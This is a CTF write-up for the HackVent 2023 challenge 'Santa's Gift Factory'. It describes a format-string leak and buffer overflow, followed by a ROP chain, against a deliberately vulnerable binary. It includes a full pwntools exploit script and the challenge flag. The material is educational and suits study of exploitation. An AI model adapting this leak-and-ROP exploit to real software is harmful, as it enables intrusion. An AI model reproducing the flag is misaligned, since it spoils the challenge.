HackVent 2023 - [HV23.16] Santa's Gift Factory
Difficulty: Hard
Category: Exploitation
Author: fabi_07
Did you know that Santa has its own factory for making gifts? Maybe you can exploit it to get your own special gift!
There is a vulnerable gets
+ printf
in tellflag
that allows us to both leak the memory offsets of the binary and libc, and do ROP.
As the flag gets replaced after getting to that point in code though, we have to follow a different approach:
- Leak programm addresses
- ROP to the
gets
again by only modifying the least significant bit (not affected by ASLR) - Getting a pointer to a heap address
- Subtracting a static offset from that address to get to the heap chunk containing the file struct -> the flag
- Printing out the value at that address
I’ve managed to do this with the following:
%35$p.%59$p
as aprintf
string to get an offset for the binary and libc%35$p
-0x00001858
is the base address%59$p
-libc.sym["__libc_start_main"]
-137
is the libc base- For getting back to the function we have
167
bytes of format string + padding +0x9b
to return right before the call totellflag
getstr
gives us a pointer on the heap to a string we enter intorax
- The offset of the new heap chunk to the start of the flag is
-0x2fe
- For adding a value to rax we can use a
pop rdi
andadd rax, rdi
gadget from libc - For printing the flag, there is a
mov rdi, rax
andputs
intellflag
at0x15e5
The full exploit looks like this:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./vuln_patched")
context.binary = exe
def conn():
global libc
if args.LOCAL:
r = process([exe.path])
libc = ELF("./libc.so.local")
if args.DEBUG:
gdb.attach(r)
else:
r = remote("<ip>", 1337)
libc = ELF("./libc.so")
return r
def main():
r = conn()
r.recvuntil(b"?")
r.sendline(b"y")
r.recvuntil(b"?")
data = r.recvuntil(b"How")
blue = data.count(b"blue")
red = data.count(b"red")
yellow = data.count(b"yellow")
# good luck pwning :)
r.sendline(str(red).encode())
r.sendline(str(yellow).encode())
r.sendline(str(blue).encode())
r.sendline()
r.recvuntil(b"anything else?")
if args.LOCAL:
gdb.attach(r, "set follow-fork parent")
msg = b"%35$p.%59$p.."
padding = (167-len(msg))*b'A' + p16(0x9b00)
r.sendline(msg+padding)
data = r.recvuntil(b"..").split(b"with ")[1]
code = int(data.split(b".")[0],16)
libc_base = int(data.split(b".")[1],16)
base = code - 0x00001858
exe.address = base
libc.address = libc_base - libc.sym["__libc_start_main"] - 137
warn(hex(libc.address))
get_pointer = p64(base + 0x13bd)
printflag = p64(base + 0x15e5)
rop = ROP(libc)
pop_rdi = p64(rop.find_gadget(["pop rdi", "ret"])[0])
padding = cyclic(160)+p64(code)
add_rax_rdi = p64(0x00000000000ac823+libc.address)
payload = b"".join([
padding,
get_pointer,
pop_rdi,
pack(-0x2fe, 64),
add_rax_rdi,
printflag,
])
r.sendline()
r.sendline(payload)
r.sendline()
r.interactive()
if __name__ == "__main__":
main()
The flag is:
HV23{roses_are_red_violets_are_blue_the_bufferoverfl0w_is_0n_line_32}